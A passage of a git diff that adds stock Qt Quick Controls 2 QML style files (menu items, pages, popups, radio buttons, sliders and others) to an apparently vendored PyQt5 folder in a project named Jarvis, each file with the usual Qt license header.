mirrored: control.mirrored + display: control.display + alignment: Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.palette.buttonText + } + + background: Rectangle { + implicitWidth: 40 + implicitHeight: 40 + color: control.down || control.highlighted ? control.palette.mid : "transparent" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/MenuItem.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/MenuItem.qml new file mode 100644 index 00000000..22cdf3ea --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/MenuItem.qml @@ -0,0 +1,105 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.MenuItem { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.windowText + + contentItem: IconLabel { + readonly property real arrowPadding: control.subMenu && control.arrow ? control.arrow.width + control.spacing : 0 + readonly property real indicatorPadding: control.checkable && control.indicator ? control.indicator.width + control.spacing : 0 + leftPadding: !control.mirrored ? indicatorPadding : arrowPadding + rightPadding: control.mirrored ? indicatorPadding : arrowPadding + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.palette.windowText + } + + indicator: ColorImage { + x: control.mirrored ? control.width - width - control.rightPadding : control.leftPadding + y: control.topPadding + (control.availableHeight - height) / 2 + + visible: control.checked + source: control.checkable ? "qrc:/qt-project.org/imports/QtQuick/Controls.2/images/check.png" : "" + color: control.palette.windowText + defaultColor: "#353637" + } + + arrow: ColorImage { + x: control.mirrored ? control.leftPadding : control.width - width - control.rightPadding + y: control.topPadding + (control.availableHeight - height) / 2 + + visible: control.subMenu + mirror: control.mirrored + source: control.subMenu ? "qrc:/qt-project.org/imports/QtQuick/Controls.2/images/arrow-indicator.png" : "" + color: control.palette.windowText + defaultColor: "#353637" + } + + background: Rectangle { + implicitWidth: 200 + implicitHeight: 40 + x: 1 + y: 1 + width: control.width - 2 + height: control.height - 2 + color: control.down ? control.palette.midlight : control.highlighted ? control.palette.light : "transparent" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/MenuSeparator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/MenuSeparator.qml new file mode 100644 index 00000000..cc5c2b6e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/MenuSeparator.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.MenuSeparator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 2 + verticalPadding: padding + 4 + + contentItem: Rectangle { + implicitWidth: 188 + implicitHeight: 1 + color: control.palette.mid + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Page.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Page.qml new file mode 100644 index 00000000..4b3cf3d2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Page.qml @@ -0,0 +1,57 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.Page { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitHeaderWidth, + implicitFooterWidth) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding + + (implicitHeaderHeight > 0 ? implicitHeaderHeight + spacing : 0) + + (implicitFooterHeight > 0 ? implicitFooterHeight + spacing : 0)) + + background: Rectangle { + color: control.palette.window + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/PageIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/PageIndicator.qml new file mode 100644 index 00000000..78f9e3cf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/PageIndicator.qml @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.PageIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + delegate: Rectangle { + implicitWidth: 8 + implicitHeight: 8 + + radius: width / 2 + color: control.palette.dark + + opacity: index === currentIndex ? 0.95 : pressed ? 0.7 : 0.45 + Behavior on opacity { OpacityAnimator { duration: 100 } } + } + + contentItem: Row { + spacing: control.spacing + + Repeater { + model: control.count + delegate: control.delegate + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Pane.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Pane.qml new file mode 100644 index 00000000..47b916e3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Pane.qml @@ -0,0 +1,55 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.Pane { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + padding: 12 + + background: Rectangle { + color: control.palette.window + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Popup.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Popup.qml new file mode 100644 index 00000000..ee243c10 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Popup.qml @@ -0,0 +1,64 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.Popup { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + padding: 12 + + background: Rectangle { + color: control.palette.window + border.color: control.palette.dark + } + + T.Overlay.modal: Rectangle { + color: Color.transparent(control.palette.shadow, 0.5) + } + + T.Overlay.modeless: Rectangle { + color: Color.transparent(control.palette.shadow, 0.12) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ProgressBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ProgressBar.qml new file mode 100644 index 00000000..61cdea43 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ProgressBar.qml @@ -0,0 +1,67 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 + +T.ProgressBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + contentItem: ProgressBarImpl { + implicitHeight: 6 + implicitWidth: 116 + scale: control.mirrored ? -1 : 1 + progress: control.position + indeterminate: control.visible && control.indeterminate + color: control.palette.dark + } + + background: Rectangle { + implicitWidth: 200 + implicitHeight: 6 + y: (control.height - height) / 2 + height: 6 + + color: control.palette.midlight + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/RadioButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/RadioButton.qml new file mode 100644 index 00000000..cdf0c30e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/RadioButton.qml @@ -0,0 +1,86 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.RadioButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + // keep in sync with RadioDelegate.qml (shared RadioIndicator.qml was removed for performance reasons) + indicator: Rectangle { + implicitWidth: 28 + implicitHeight: 28 + + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + + radius: width / 2 + color: control.down ? control.palette.light : control.palette.base + border.width: control.visualFocus ? 2 : 1 + border.color: control.visualFocus ? control.palette.highlight : control.palette.mid + + Rectangle { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: 20 + height: 20 + radius: width / 2 + color: control.palette.text + visible: control.checked + } + } + + contentItem: CheckLabel { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + color: control.palette.windowText + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/RadioDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/RadioDelegate.qml new file mode 100644 index 00000000..a7e7dec0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/RadioDelegate.qml @@ -0,0 +1,103 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.RadioDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 12 + spacing: 12 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.text + + contentItem: IconLabel { + leftPadding: control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: !control.mirrored ? control.indicator.width + control.spacing : 0 + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.palette.text + } + + // keep in sync with RadioButton.qml (shared RadioIndicator.qml was removed for performance reasons) + indicator: Rectangle { + implicitWidth: 28 + implicitHeight: 28 + + x: control.mirrored ? control.leftPadding : control.width - width - control.rightPadding + y: control.topPadding + (control.availableHeight - height) / 2 + + radius: width / 2 + color: control.down ? control.palette.light : control.palette.base + border.width: control.visualFocus ? 2 : 1 + border.color: control.visualFocus ? control.palette.highlight : control.palette.mid + + Rectangle { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: 20 + height: 20 + radius: width / 2 + color: control.palette.text + visible: control.checked + } + } + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 40 + visible: control.down || control.highlighted + color: control.down ? control.palette.midlight : control.palette.light + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/RangeSlider.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/RangeSlider.qml new file mode 100644 index 00000000..c3e7c964 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/RangeSlider.qml @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.RangeSlider { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + first.implicitHandleWidth + leftPadding + rightPadding, + second.implicitHandleWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + first.implicitHandleHeight + topPadding + bottomPadding, + second.implicitHandleHeight + topPadding + bottomPadding) + + padding: 6 + + first.handle: Rectangle { + x: control.leftPadding + (control.horizontal ? control.first.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : control.first.visualPosition * (control.availableHeight - height)) + implicitWidth: 28 + implicitHeight: 28 + radius: width / 2 + border.width: activeFocus ? 2 : 1 + border.color: activeFocus ? control.palette.highlight : control.enabled ? control.palette.mid : control.palette.midlight + color: control.first.pressed ? control.palette.light : control.palette.window + } + + second.handle: Rectangle { + x: control.leftPadding + (control.horizontal ? control.second.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : control.second.visualPosition * (control.availableHeight - height)) + implicitWidth: 28 + implicitHeight: 28 + radius: width / 2 + border.width: activeFocus ? 2 : 1 + border.color: activeFocus ? control.palette.highlight : control.enabled ? control.palette.mid : control.palette.midlight + color: control.second.pressed ? control.palette.light : control.palette.window + } + + background: Rectangle { + x: control.leftPadding + (control.horizontal ? 0 : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : 0) + implicitWidth: control.horizontal ? 200 : 6 + implicitHeight: control.horizontal ? 6 : 200 + width: control.horizontal ? control.availableWidth : implicitWidth + height: control.horizontal ? implicitHeight : control.availableHeight + radius: 3 + color: control.palette.midlight + scale: control.horizontal && control.mirrored ? -1 : 1 + + Rectangle { + x: control.horizontal ? control.first.position * parent.width + 3 : 0 + y: control.horizontal ? 0 : control.second.visualPosition * parent.height + 3 + width: control.horizontal ? control.second.position * parent.width - control.first.position * parent.width - 6 : 6 + height: control.horizontal ? 6 : control.second.position * parent.height - control.first.position * parent.height - 6 + + color: control.palette.dark + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/RoundButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/RoundButton.qml new file mode 100644 index 00000000..825d5252 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/RoundButton.qml @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.RoundButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 24 + icon.height: 24 + icon.color: control.checked || control.highlighted ? control.palette.brightText : + control.flat && !control.down ? (control.visualFocus ? control.palette.highlight : control.palette.windowText) : control.palette.buttonText + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: control.checked || control.highlighted ? control.palette.brightText : + control.flat && !control.down ? (control.visualFocus ? control.palette.highlight : control.palette.windowText) : control.palette.buttonText + } + + background: Rectangle { + implicitWidth: 40 + implicitHeight: 40 + radius: control.radius + opacity: enabled ? 1 : 0.3 + visible: !control.flat || control.down || control.checked || control.highlighted + color: Color.blend(control.checked || control.highlighted ? control.palette.dark : control.palette.button, + 